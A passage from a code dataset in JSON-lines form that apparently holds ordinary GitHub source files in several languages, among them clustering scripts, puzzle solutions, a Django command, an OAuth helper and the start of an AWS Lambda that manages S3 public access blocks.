\"%s-%s-%s/%s\" % (MODEL_NAME, LOSS_NAME, EMBEDDING_TYPE, experiment)\nthis_combo = \"seed=%d-epochs=%d-lr=%f-bs=%d-%s\" % (model_seed, num_epochs, learning_rate, batch_size, experiment)\n\n# run model\nprint(\"running model...\")\nrunModel(train_df, val_df, test_df, model_seed, num_epochs, learning_rate, batch_size)\n\n# DELETE checkpoint regardless\nprint(\"deleting checkpoint for combo %s...\" % this_combo)\nif path.exists(\"./checkpoints/%s/%s.ckpt\" % (output_dir, this_combo)):\n  os.remove(\"./checkpoints/%s/%s.ckpt\" % (output_dir, this_combo))\n\n\n","repo_name":"allenai/ACCoRD","sub_path":"system/code/extraction/run-scibert-multilabel-classifier.py","file_name":"run-scibert-multilabel-classifier.py","file_ext":"py","file_size_in_byte":17411,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"47"}
+{"seq_id":"26720459879","text":"# ALGORITMI IERARHICI\r\nimport pandas as pd\r\nimport numpy as np\r\nimport scipy.cluster.hierarchy as hclust\r\nimport functii\r\nimport grafice\r\n\r\ntabel = pd.read_csv(\"ADN/ADN_Total.csv\", index_col=0)\r\n#print(tabel)\r\n\r\nnume_instante = list(tabel.index)\r\n#print(nume_instante)\r\n\r\nvariabile = list(tabel)\r\n#print(variabile)\r\n\r\nx = tabel[variabile].values\r\n#print(x)\r\n\r\nif np.isnan(x).any():\r\n    print(\"Valori lipsa!\")\r\n\r\n# Clasificare ierarhica pe instante\r\n# Construire ierarhie\r\nh = hclust.linkage(x, method=\"complete\") # calculul se bazeaza pe distante | am distanta intre doua instante X, Y\r\nprint(h)\r\n#grafice.dendrograma(h, nume_instante, \"Legatura completa\", \"Euclidiana\")\r\n\r\n# intr o grupare ierarhica pornesc de la: indivic -> cluster (cluster singletone, cu o singura instanta)\r\n# stiu ca sunt (n - 1) jonctiuni\r\n\r\n# Identificare partitie de maxima stabilitate\r\nm = np.shape(h)[0]      # 0 imi spune nr de linii\r\nprint(m)\r\nk = m - np.argmax(h[1:, 2] - h[:(m-1), 2])     # cate clase are partitia de maxima stabilitate\r\nprint(k)\r\n\r\n# Determinare partitie\r\npartite = functii.partitie(h, k)\r\nprint(partite)\r\n\r\n# Tabelare partitie\r\ntabel_partite = pd.DataFrame(data={\"PartiiOptimala\": partite}, index=nume_instante)\r\ntabel_partite.to_csv(\"PartitieOptimala.csv\")\r\nprint(tabel_partite)\r\n\r\n# vizualizare clusteri in axele principale\r\ngrafice.plot_partitie(x, partite, nume_instante)","repo_name":"petrediana/Analiza-Datelor","sub_path":"Labs/seminar/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"73369220303","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef ps(a1, a2=None, a3=None, a4=None, a5=None):\n    for a in [a1, a2, a3, a4, a5]:\n        if a is not None:\n            print (np.shape(a))\n\ndef plot(array):\n    plt.ion()\n    plt.cla()\n    if type(array) is dict:\n        array = [v for v in array.values()]\n    xlim = 2 ** (1 + int(np.log2(len(array))))\n    ylim = 2 ** (1 + int(np.log2(np.maximum(max(array), 1e-8))))\n\n    plt.xlim(0, xlim)\n    plt.ylim(0, ylim)#2000)#.6)\n    plt.plot(array)\n    plt.pause(1e-8)\n","repo_name":"Aranguri/ntm","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"33814944676","text":"import pandas as pd\n\ndef create_full_dataset():\n    \"\"\"\n    combine test and train dataset so data processing is done on both sets the same way\n    \"\"\"\n    print(\"...create_full_dataset: combining test and train set so  processing is done on both sets...\")\n\n    df_full_train = pd.read_csv(\"data/raw/full_train_dataset.csv\")\n    df_prediction = pd.read_csv(\"data/raw/prediction_set.csv\")\n\n    df_prediction[\"Dataset\"] = \"Prediction set\"\n    df_full_train[\"Dataset\"] = \"Train set\"\n\n    df_train_and_prediction = pd.concat([df_prediction, df_full_train])\n    print(df_train_and_prediction.describe())\n    df_train_and_prediction.to_csv(\"data/processing/input/train_and_prediction_set.csv\", index=False)\n\n    print(\"raw test and train datasets combined for preprocessing\")\n\n\n","repo_name":"DaniDataScience/Kaggle_Ames_house_prediction","sub_path":"preprocessing/preparing_datasets.py","file_name":"preparing_datasets.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"43223268163","text":"# polygon.py\n# from Think Python section 4.3\n# edited by Lawrence X. Amlord\n# Apr 12th, 2014\n# Xi'an, China\n\nfrom swampy.TurtleWorld import *\n\nworld = TurtleWorld()\ndef polygon(t, length, n):\n    bob = t()\n    degree = 360 / n\n    for i in range(n):\n        fd(bob, length)\n        lt(bob, degree)\n\npolygon(Turtle, 50, 8)\n\nwait_for_user()\n","repo_name":"irobot0/Think_Python","sub_path":"Study_Alone/Chapter_4-Case_study-interface_design/4.3-Exercises/Exercise_3/polygon.py","file_name":"polygon.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"2033907402","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\nЗадача C4-77. \nРешение на языке Python 3.\n Автор: Константин Поляков, 2017\n-------------------------------------------------\n77) (Д.В. Богданов) Дан набор из N натуральных чисел. \nНеобходимо определить количество пар элементов (ai, aj) \nэтого набора, в которых 1 ≤ i < j ≤ N и сумма \nэлементов кратна 12. Напишите эффективную по времени и \nпо памяти программу для решения этой задачи. \nОписание входных и выходных данных \nВ первой строке входных данных задаётся количество чисел \nN (1 ≤ N ≤ 10000). В каждой из последующих N строк записано \nодно натуральное число, не превышающее 1000.\nПример входных данных:\n  5\n  7\n  5\n  6\n 12\n 24\nПример выходных данных для приведённого выше примера \nвходных данных:\n  2\nВ приведённом наборе из 5 чисел имеются две пары \n(7, 5), (12, 24), сумма элементов которых кратна 12.\n\"\"\"\nimport sys\nsave_stdin = sys.stdin\nsys.stdin = open(\"in/77.in\")\n\nrem = [0]*12\nN = int(input())\nfor i in range(N):\n  x = int(input())\n  rem[x%12] += 1\n\ncount = (rem[0]*(rem[0]-1) +\n         rem[6]*(rem[6]-1)) // 2\nfor i in range(1, 6):\n  count += rem[i]*rem[12-i];\n\nprint(count)\n\nsys.stdin = save_stdin","repo_name":"batsnap/eduacation","sub_path":"programming/python/school/c4_pythonответы/77.py","file_name":"77.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"29487025342","text":"# https://www.acmicpc.net/problem/1107\n\nimport sys\n\n\nn = int(sys.stdin.readline().rstrip()) # 이동해야 하는 채널\nm = int(sys.stdin.readline().rstrip()) # 고장난 리모컨 숫자의 개수\nbroken_btn = sys.stdin.readline().rstrip().split(\" \") # 고장난 리모컨 숫자 리스트\n\n# 이동 가능한 가장 가까운 채널 찾기\nmin_cnt = abs(100 - n) # +, - 버튼만 사용한 경우(최대 경우의 수)\nfor i in range(1000001): # 가능한 전체 채널, 50000을 기준으로 내려오면서도 탐색해야 함으로 *\n    channel = str(i)\n    for j in range(len(channel)): # 채널의 각 자릿수 확인, 리모컨에 있는 숫자들로만 이루어진 경우 저장하고 아니면 패스\n        if channel[j] in broken_btn:\n            break\n        if j == len(channel) - 1: # 각 자릿수가 전부 버튼에 있는 경우\n            min_cnt = min(min_cnt, abs(n-i)+len(channel)) # 최소 버튼 입력 카운트 갱신\nprint(min_cnt)","repo_name":"Usunwoo/python","sub_path":"algorithm/baekjoon/code_plus/브루트 포스/1107_리모컨.py","file_name":"1107_리모컨.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"73797968783","text":"from django.core.management.base import BaseCommand\nfrom clairvoyance.models import MajorArcana\nimport json\n\nclass Command(BaseCommand):\n    help = 'Peuplate database with a json file'\n    \n    def handle(self, *args, **options):\n        with open('database_dumps/MajorArcana.json') as f:\n            data = json.load(f)\n            for i in data:\n                MajorArcana.objects.create(\n                    card_name = i[\"card_name\"],\n                    card_signification_gen = i[\"card_signification_gen\"],\n                    card_signification_warnings = i[\"card_signification_warnings\"],\n                    card_signification_love = i[\"card_signification_love\"],\n                    card_signification_work = i[\"card_signification_work\"],\n                    card_image = i[\"card_image\"],\n                    card_polarity = i[\"card_polarity\"]\n                )\n                print('%s\" Cree en base de données!' % i[\"card_name\"])\n\n        self.stdout.write(self.style.SUCCESS('Successfully !!!'))","repo_name":"NunoMars/SiteVoyance","sub_path":"clairvoyance/management/commands/migrate_database.py","file_name":"migrate_database.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"13350377083","text":"import pygame\n\nimport text\n\n\nclass DebugConsole:\n    def __init__(self, surface, player, level_sprites):\n        self.surface = surface\n\n        self.player = player\n        self.level_sprites = level_sprites.sprites()\n\n        self.sprites_text = text.Text(\n            font='Minecraft',\n            size=8,\n            color=(240, 240, 240),\n            pos=(0, 0),\n        )\n\n        self.player_pos_text = text.Text(\n            font='Minecraft',\n            size=8,\n            color=(240, 240, 240),\n            pos=(0, 8),\n        )\n\n        self.player_directions = text.Text(\n            font='Minecraft',\n            size=8,\n            color=(240, 240, 240),\n            pos=(0, 16),\n        )\n\n        self.player_states = text.Text(\n            font='Minecraft',\n            size=8,\n            color=(240, 240, 240),\n            pos=(0, 24),\n        )\n\n        self.jump_cooldown = text.Text(\n            font='Minecraft',\n            size=8,\n            color=(240, 240, 240),\n            pos=(0, 32),\n        )\n\n    def update(self):\n        keys = pygame.key.get_pressed()\n\n        if keys[pygame.K_q]:\n            self.display()\n\n    def display(self):\n        self.sprites_text.display_text(f'sprites on the level:{len(self.level_sprites)}', self.surface)\n        self.player_pos_text.display_text(f'player position x:{self.player.rect.x} y:{self.player.rect.y}',\n                                          self.surface)\n        self.player_directions.display_text(\n            f'player directions x:{self.player.direction.x} y:{self.player.direction.y}', self.surface)\n        self.player_states.display_text(f'STATES jump state:{self.player.jump_state}', self.surface)\n        self.jump_cooldown.display_text(f'jump tick:{self.player.jump_tick} gravity:{self.player.player_gravity}',\n                                        self.surface)\n","repo_name":"panalexeu/samurai","sub_path":"debug_console.py","file_name":"debug_console.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"35118537653","text":"import sys\n\n\ndef binary_search(start, end, target):\n    if start > end:\n        return\n\n    mid = (start + end) // 2\n\n    sums = 0\n    for j in range(K):\n        candidate = lan_lines[j]\n        sums += candidate // mid\n\n    if sums >= target:\n        answer_candidates.append(mid)\n        return binary_search(mid + 1, end, target)\n    else:\n        return binary_search(start, mid - 1, target)\n\n\nK, N = map(int, sys.stdin.readline().split())\nlan_lines = []\nfor i in range(K):\n    lan = int(sys.stdin.readline().rstrip())\n    lan_lines.append(lan)\n\n# if K == N:\n#     sys.stdout.write(str(min(lan_lines)))\n# else:\nanswer_candidates = []\nbinary_search(1, max(lan_lines), N)\nsys.stdout.write(str(max(answer_candidates)))\n\n# K 개의 랜선 각각으로 모두 만들 수 있는 공통적인 최대 길이의 랜선\n# => 아니다. 공통으로 만족하지 않아도 된다. 최대 길이로 N 갯수만 맞출 수 있으면 된다\n\n# 반례\n# https://joey09.tistory.com/115\n\n# 추가 반례\n# 3 5\n# 5\n# 5\n# 4\n# 정답: 2\n\n# 추가 반례\n# 11 46\n# 2147483635\n# 2147483595\n# 2147483585\n# 2147483641\n# 2147483552\n# 2147483637\n# 2147483570\n# 2147483563\n# 2147483621\n# 2147483618\n# 2147483553\n# 정답: 429496727\n","repo_name":"Gyusik-Choi/algorithm","sub_path":"baekjoon/1654_랜선 자르기/B_1654.py","file_name":"B_1654.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"10658803351","text":"\"\"\"\nSnail Sort\nGiven an n x n array, return the array elements arranged from outermost elements to\nthe middle element, traveling clockwise.\n\narray = [[1,2,3],\n         [4,5,6],\n         [7,8,9]]\nsnail(array) #=> [1,2,3,6,9,8,7,4,5]\nFor better understanding, please follow the numbers of the next array consecutively:\n\narray = [[1,2,3],\n         [8,9,4],\n         [7,6,5]]\nsnail(array) #=> [1,2,3,4,5,6,7,8,9]\nThis image will illustrate things more clearly:\n\n\nNOTE: The idea is not sort the elements from the lowest value to the highest; the idea is\nto traverse the 2-d array in a clockwise snailshell pattern.\n\nNOTE 2: The 0x0 (empty matrix) is represented as en empty array inside an array [[]].\n\"\"\"\n\n\ndef snail(snail_map):\n    n = len(snail_map)\n    to_print = []\n\n    while len(snail_map) > 0:\n\n        # this handles left to right\n        for item in snail_map[0]:\n            to_print.append(item)\n        del snail_map[0]\n        if len(snail_map) == 0:\n            break\n\n        # this handles top to bottom\n        for item in snail_map:\n            to_print.append(item.pop())\n\n        # this handles right to left\n        temp1 = []\n        for item in snail_map[-1]:\n            temp1.append(item)\n        del snail_map[-1]\n        temp1.reverse()\n        for item in temp1:\n            to_print.append(item)\n\n        # this handles bottom to top\n        temp2 = []\n        for item in snail_map:\n            temp2.append(item.pop(0))\n        temp2.reverse()\n        for item in temp2:\n            to_print.append(item)\n\n    print(snail_map)\n    print(to_print)\n\n\nsnail([[1, 2, 3, 4, 5], [6, 7, 8, 9, 10], [11, 12, 13, 14, 15],\n      [16, 17, 18, 19, 20], [21, 22, 23, 24, 25]])\n","repo_name":"DawidZiec/code-wars","sub_path":"CodeWarsPython/19_snail.py","file_name":"19_snail.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"33410882534","text":"# -*- coding: utf-8 -*-\n\nfrom .modules import csv, array\n\n\ndef read_csv_file(filename: str = \"\"):\n    data = {}\n    result = []\n    for index, row in enumerate(csv.reader(open(filename))):\n        if index == 0:\n            result.append([row[1]] + row[4:])\n        else:\n            row[1] = row[1].replace(\" \", \"\\ \")\n            if row[1] in data:\n                data[row[1]] += array([int(i) for i in row[4:]])\n            else:\n                data[row[1]] = array([int(i) for i in row[4:]])\n    return result + [[k] + [int(i) for i in v] for k, v in data.items()]\n","repo_name":"dildeolupbiten/Covid19Stats","sub_path":"Scripts/csv_reader.py","file_name":"csv_reader.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
+{"seq_id":"73600444941","text":"import sys, unittest, logging, asyncio, time, toml, os, shutil\n\nsys.path.append(\"../\")\nimport cryptocom\n\nlogging.basicConfig(level=logging.INFO)\n\n\nclass Config:\n    def __init__(self, file_name, template_name):\n        config_file = self.extract_config(file_name, template_name)\n        self.load_config(config_file)\n\n    def get_path(self, name):\n        return os.path.join(os.path.dirname(os.path.realpath(__file__)), name)\n\n    def extract_config(self, file_name, template_name):\n        config_file = self.get_path(file_name)\n        if not os.path.isfile(config_file):\n            logging.info(\"config file doesn't exist, copying template!\")\n            shutil.copyfile(self.get_path(template_name), config_file)\n        return config_file\n\n    def load_config(self, config_file):\n        config = toml.load(config_file)\n\n        binance = config[\"cryptocom\"]\n        self.api_key = binance[\"api_key\"]\n        self.api_secret = binance[\"api_secret\"]\n\n\nclass TestQueries(unittest.IsolatedAsyncioTestCase):\n    def setUp(self):\n        config = Config(\"config.toml\", \"config.template.toml\")\n        self.client = cryptocom.Client(config.api_key, config.api_secret)\n\n    async def test_load(self):\n        await self.client.load()\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"Th0rgal/crypto.com","sub_path":"tests/test_api_wrapper.py","file_name":"test_api_wrapper.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
+{"seq_id":"4508086070","text":"from functools import cache\nfrom itertools import product\np1 = 4\np2 = 8\n\n\ndef solve1():\n    p1_score = 0\n    p2_score = 0\n    die = 1\n    p1_next = True\n\n    rounds = 0\n    while p1_score < 1000 and p2_score < 1000:\n        print(p1_score, p2_score)\n        rounds += 3\n        total = die + die + 1+ die + 2\n        total = total if total <= 10 else total % 10\n        die = die + 3\n        if p1_next:\n            p1 += total\n            p1 = p1 if p1 <= 10 else p1 - 10\n            p1_score += p1\n        else:\n            p2 += total\n            p2 = p2 if p2 <= 10 else p2 - 10\n            p2_score += p2\n\n        p1_next = not p1_next\n\n\n@cache\ndef solve(p1, p1_score, p2, p2_score, p1_turn):\n    if p1_score >= 21:\n        return (1, 0)\n    if p2_score >= 21:\n        return (0, 1)\n    wins = (0, 0)\n    for die_scores in product([1,2,3], repeat=3):\n        total = sum(die_scores)\n        if p1_turn:\n            p1_new = p1 + total\n            p1_new = p1_new if p1_new <= 10 else p1_new - 10\n            p1_new_score = p1_score + p1_new\n            w1 = solve(p1_new, p1_new_score, p2, p2_score, not p1_turn)\n            wins = (w1[0] + wins[0], w1[1] + wins[1])\n        else:\n            p2_new = p2 + total\n            p2_new = p2_new if p2_new <= 10 else p2_new - 10\n            p2_new_score = p2_score + p2_new\n            w1 = solve(p1, p1_score, p2_new, p2_new_score, not p1_turn)\n            wins = (w1[0] + wins[0], w1[1] + wins[1])\n    return wins\n\nprint(max(solve(10, 0, 1, 0, True)))","repo_name":"erikseulean/advent_of_code","sub_path":"2021/day21.py","file_name":"day21.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
+{"seq_id":"29389189964","text":"from rest_framework import serializers\nfrom .models import Refeicao\nfrom datetime import datetime, timedelta\n\n\nclass RefeicaoSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Refeicao\n        fields = '__all__'\n        read_only_fields = ('hora_alarme',)\n\n    def calculo_hora(self, data):\n        \n        hora_alarme = datetime.combine(datetime.today(), data['horario']) - timedelta(minutes=20)\n        return hora_alarme.time()\n\n    def create(self, validated_data):\n        \n        hora_alarme = self.calculo_hora(validated_data)\n        return Refeicao.objects.create(hora_alarme=hora_alarme, **validated_data)\n    \n    def update(self, instance, validated_data):\n        instance.nome = validated_data.get('nome', instance.nome)\n        instance.horario = validated_data.get('horario', instance.horario)\n        instance.alarme = validated_data.get('alarme', instance.alarme)\n        instance.usuario = validated_data.get('usuario', instance.usuario)\n\n        hora_alarme = datetime.combine(datetime.today(), instance.horario) - timedelta(minutes=20)\n        hora_alarme = hora_alarme.time()\n\n        instance.hora_alarme = validated_data.get('hora_alarme', hora_alarme)\n\n        instance.save()\n        return instance\n","repo_name":"arthurm170110/API-HoraInsulina","sub_path":"refeicao/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"4565477307","text":"import os, json, requests, urllib.parse\n\n# by default the redirect uri is used as the last element in \n# redirect uri's in client_credentials\n\n# forming authentication url\ndef getAuthUrl(CREDENTIALS, SCOPES):\n\n    scopes = \"+\".join(SCOPES)\n\n    auth_params = {\n        \"redirect_uri\": CREDENTIALS['redirect_uri'][-1],\n        \"prompt\": \"consent\",\n        \"response_type\": \"code\",\n        \"client_id\": CREDENTIALS['client_id'],\n        \"access_type\": \"offline\",\n        \"scope\": scopes,\n    }\n\n    auth_url = CREDENTIALS[\"auth_uri\"] + \"?\" + urllib.parse.urlencode(auth_params, quote_via=urllib.parse.quote)\n\n    return auth_url\n\n# getting auth code\ndef getAuthCode(url):\n    queries = urllib.parse.urlparse(url).query\n    queries = dict(urllib.parse.parse_qsl(queries))\n    return queries['code']\n\n# exchanging auth code for access token\ndef getToken(auth_code, CREDENTIALS):\n\n    token_header = {\n        \"Content-Type\": \"application/x-www-form-urlencoded\"\n    }\n\n    token_params = {\n        \"client_id\": CREDENTIALS['client_id'],\n        \"client_secret\": CREDENTIALS['client_secret'],\n        \"code\": auth_code,\n        \"grant_type\": \"authorization_code\",\n        \"redirect_uri\": CREDENTIALS['redirect_uri'][-1]\n    }\n\n    token = requests.post(CREDENTIALS['token_uri'], data=token_params, headers=token_header).json()\n\n    return token\n\n# refreshing access token\ndef refreshToken(refresh_token, CREDENTIALS):\n    \n    token_header = {\n        \"Content-Type\": \"application/x-www-form-urlencoded\"\n    }\n\n    token_params = {\n        \"client_id\": CREDENTIALS['client_id'],\n        \"client_secret\": CREDENTIALS[\"client_secret\"],\n        \"refresh_token\": refresh_token,\n        \"grant_type\": \"refresh_token\",\n    }\n\n    token = requests.post(CREDENTIALS['token_uri'], data=token_params, headers=token_header).json()\n\n    return token","repo_name":"sleepingsaint/automation","sub_path":"oauth.py","file_name":"oauth.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"11975692856","text":"import json\nfrom flask import Flask, request, render_template\nimport datasource.datasource as ds\n\n'''\n    this is a Python / Flask application, which runs on any environment with python and flask installed\n    It's quite flexible to be used with browser or not, from a defined datasource\n    It also format output to command line curl or browser, accordingly \n'''\n\napp = Flask(__name__)\n\n# config.json contains a few important parameters to control host, port and datasource\n# datasource can be IMDB website or a RDBMS such as SQLite\nwith open(\"config.json\") as json_data:\n    config = json.load(json_data)\n\nwebhost = config['search-app']['webhost']\nwebport = config['search-app']['webport']\ndsactive = config['search-app']['ds-active']\n\n# getData allows the application to be datasource independent\n# and relies on a formatted dataset coming from the datasource\ndef getData(dsactive):\n    dataset = []\n    if dsactive == \"imdb\":\n        dataset = ds.imdbSearch()\n    elif dsactive == \"sql3\":\n        dbname = config['search-app']['dbname']\n        dbtable = config['search-app']['dbtable']\n        dbcolumn = config['search-app']['dbcolumn']\n        dataset = ds.sql3Search(dbname,dbtable,dbcolumn)\n\n    return(dataset)\n\n# this route allows for autocomplete with partial word\n# responds to http://host:port/autocomplete?str=anyword\n@app.route(\"/autocomplete\", methods=[\"GET\"])\ndef getAutocomplete():\n    if request.method == \"GET\":\n        # get word from parameter .../autocomplete/?str=word\n        word = request.args.get('str')\n        res = [str(e) for e in getData(dsactive) if word.lower() in str(e).lower()]\n        joined_string = \"\\n\".join(res)\n\n        return(joined_string)\n\n# responds to http://host:port\n# get ALL raw data from (configured) datasource\n#\n@app.route(\"/\", methods=[\"GET\"])\ndef getrawdata():\n    if request.method == \"GET\":\n        res = [str(e) for e in getData(dsactive)]\n        joined_string = \"\\n\".join(res)\n\n        return(joined_string)\n\n# responds to http://host:port/web\n# supposed to be called in a browser to show input lookup\n@app.route(\"/web\", methods=[\"GET\"])\ndef home():\n    if request.method == \"GET\":\n        return render_template(\"index.html\", movie_titles=getData(dsactive))\n\nif __name__ == '__main__':\n    app.run(host=webhost, port=webport, debug=False)\n","repo_name":"joaquim-mattos-dev/search-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"40865378332","text":"import time\nfrom bs4 import BeautifulSoup\nimport requests\nimport sendgrid\nimport os\nfrom sendgrid.helpers.mail import Email, Content, Mail\n\nsg = sendgrid.SendGridAPIClient(apikey=os.environ.get('SENDGRID_API_KEY'))\nEMAIL = os.environ['EMAIL']\n\ndef get_review_count():\n\tr  = requests.get(\"https://www.coursereport.com/schools/hackbright-academy\")\n\tsoup = BeautifulSoup(r.text, features=\"html.parser\")\n\tspan = soup.find(attrs={'itemprop': 'reviewCount'})\n\treturn int(span.text)\n\n\ndef send_alert():\n\tfrom_email = Email(EMAIL)\n\tto_email = Email(EMAIL)\n\tsubject = \"new review\"\n\tcontent = Content(\"text/plain\", \"https://www.coursereport.com/schools/hackbright-academy\")\n\tmail = Mail(from_email, subject, to_email, content)\n\tresponse = sg.client.mail.send.post(request_body=mail.get())\n\tprint(response.status_code)\n\tprint(response.body)\n\tprint(response.headers)\n\nwith open('count.txt') as f:\n\tcount = int(f.read())\n\nprint('count', count)\n\nwhile True:\n\ttry:\n\t\tnew_count = get_review_count()\n\texcept Exception as e:\n\t\tprint(e)\n\n\tif new_count != count:\n\t\tif new_count > count:\n\t\t\tsend_alert()\n\t\tcount = new_count\n\t\twith open('count.txt', 'w') as f:\n\t\t\tf.write(str(count))\n\t\tprint('count updated:', count)\n\telse:\n\t\tprint('no change')\n\ttime.sleep(3600)\n","repo_name":"scotchka/cr-monitor","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"6251219607","text":"from __future__ import annotations\n\nimport json\nimport logging\nimport os\nimport re\nfrom time import sleep\nfrom typing import TYPE_CHECKING, Any, List, Optional, Union\n\nimport boto3\nfrom botocore.config import Config\nfrom crhelper import CfnResource\n\nif TYPE_CHECKING:\n    from aws_lambda_typing.context import Context\n    from aws_lambda_typing.events import CloudFormationCustomResourceEvent\n    from mypy_boto3_organizations import OrganizationsClient\n    from mypy_boto3_organizations.type_defs import AccountTypeDef, DescribeAccountResponseTypeDef, TagTypeDef\n    from mypy_boto3_s3control.client import S3ControlClient\n    from mypy_boto3_s3control.type_defs import GetPublicAccessBlockOutputTypeDef\n    from mypy_boto3_sns import SNSClient\n    from mypy_boto3_sns.type_defs import PublishBatchResponseTypeDef, PublishResponseTypeDef\n    from mypy_boto3_sts import STSClient\n\n# Setup Default Logger\nLOGGER = logging.getLogger(\"sra\")\nlog_level: str = os.environ.get(\"LOG_LEVEL\", \"ERROR\")\nLOGGER.setLevel(log_level)\n\n# Global Variables\nUNEXPECTED = \"Unexpected!\"\nORGANIZATIONS_PAGE_SIZE = 20\nORGANIZATIONS_THROTTLE_PERIOD = 0.2\nSNS_PUBLISH_BATCH_MAX = 10\nBOTO3_CONFIG = Config(retries={\"max_attempts\": 10, \"mode\": \"standard\"})\n\n# Initialize the helper. `sleep_on_delete` allows time for the CloudWatch Logs to get captured.\nhelper = CfnResource(json_logging=True, log_level=log_level, boto_level=\"CRITICAL\", sleep_on_delete=120)\n\ntry:\n    MANAGEMENT_ACCOUNT_SESSION = boto3.Session()\n    ORG_CLIENT: OrganizationsClient = MANAGEMENT_ACCOUNT_SESSION.client(\"organizations\", config=BOTO3_CONFIG)\n    SNS_CLIENT: SNSClient = MANAGEMENT_ACCOUNT_SESSION.client(\"sns\", config=BOTO3_CONFIG)\nexcept Exception as error:\n    LOGGER.error({\"Unexpected_Error\": error})\n    raise ValueError(\"Unexpected error executing Lambda function. Review CloudWatch logs for details.\") from None\n\n\ndef assume_role(role: str, role_session_name: str, account: str = None, session: boto3.Session = None) -> boto3.Session:\n    \"\"\"Assumes the provided role in the given account and returns a session.\n\n    Args:\n        role: Role to assume in target account.\n        role_session_name: Identifier for the assumed role session.\n        account: AWS account number. Defaults to None.\n        session: Boto3 session. Defaults to None.\n\n    Returns:\n        Session object for the specified AWS account\n    \"\"\"\n    if not session:\n        session = boto3.Session()\n    sts_client: STSClient = session.client(\"sts\", config=BOTO3_CONFIG)\n    sts_arn = sts_client.get_caller_identity()[\"Arn\"]\n    LOGGER.info(f\"USER: {sts_arn}\")\n    if not account:\n        account = sts_arn.split(\":\")[4]\n    partition = sts_arn.split(\":\")[1]\n    role_arn = f\"arn:{partition}:iam::{account}:role/{role}\"\n\n    response = sts_client.assume_role(RoleArn=role_arn, RoleSessionName=role_session_name)\n    LOGGER.info(f\"ASSUMED ROLE: {response['AssumedRoleUser']['Arn']}\")\n    return boto3.Session(\n        aws_access_key_id=response[\"Credentials\"][\"AccessKeyId\"],\n        aws_secret_access_key=response[\"Credentials\"][\"SecretAccessKey\"],\n        aws_session_token=response[\"Credentials\"][\"SessionToken\"],\n    )\n\n\ndef get_active_organization_accounts() -> list[AccountTypeDef]:\n    \"\"\"Get all the active AWS Organization accounts.\n\n    Returns:\n        List of active account IDs\n    \"\"\"\n    paginator = ORG_CLIENT.get_paginator(\"list_accounts\")\n    accounts: list[AccountTypeDef] = []\n    for page in paginator.paginate(PaginationConfig={\"PageSize\": ORGANIZATIONS_PAGE_SIZE}):\n        for account in page[\"Accounts\"]:\n            if account[\"Status\"] == \"ACTIVE\":\n                accounts.append(account)\n            sleep(ORGANIZATIONS_THROTTLE_PERIOD)\n    return accounts\n\n\ndef get_account_info(account_id: str) -> AccountTypeDef:\n    \"\"\"Get AWS Account info.\n\n    Args:\n        account_id: ID of the AWS account\n\n    Returns:\n        Account info\n    \"\"\"\n    response: DescribeAccountResponseTypeDef = ORG_CLIENT.describe_account(AccountId=account_id)\n    api_call_details = {\"API_Call\": \"organizations:DescribeAccounts\", \"API_Response\": response}\n    LOGGER.info(api_call_details)\n    return response[\"Account\"]\n\n\ndef get_organization_resource_tags(resource_id: str) -> List[TagTypeDef]:\n    \"\"\"Get Org Resource Tags.\n\n    Args:\n        resource_id: ID of the AWS account\n\n    Returns:\n        Account Tags\n    \"\"\"\n    paginator = ORG_CLIENT.get_paginator(\"list_tags_for_resource\")\n    tags = []\n    for page in paginator.paginate(ResourceId=resource_id):\n        tags += page[\"Tags\"]\n        sleep(ORGANIZATIONS_THROTTLE_PERIOD)\n    return tags\n\n\ndef put_account_public_access_block(s3_client: S3ControlClient, account_id: str, params: dict) -> None:\n    \"\"\"Put account public access block.\n\n    Args:\n        s3_client: S3ControlClient\n        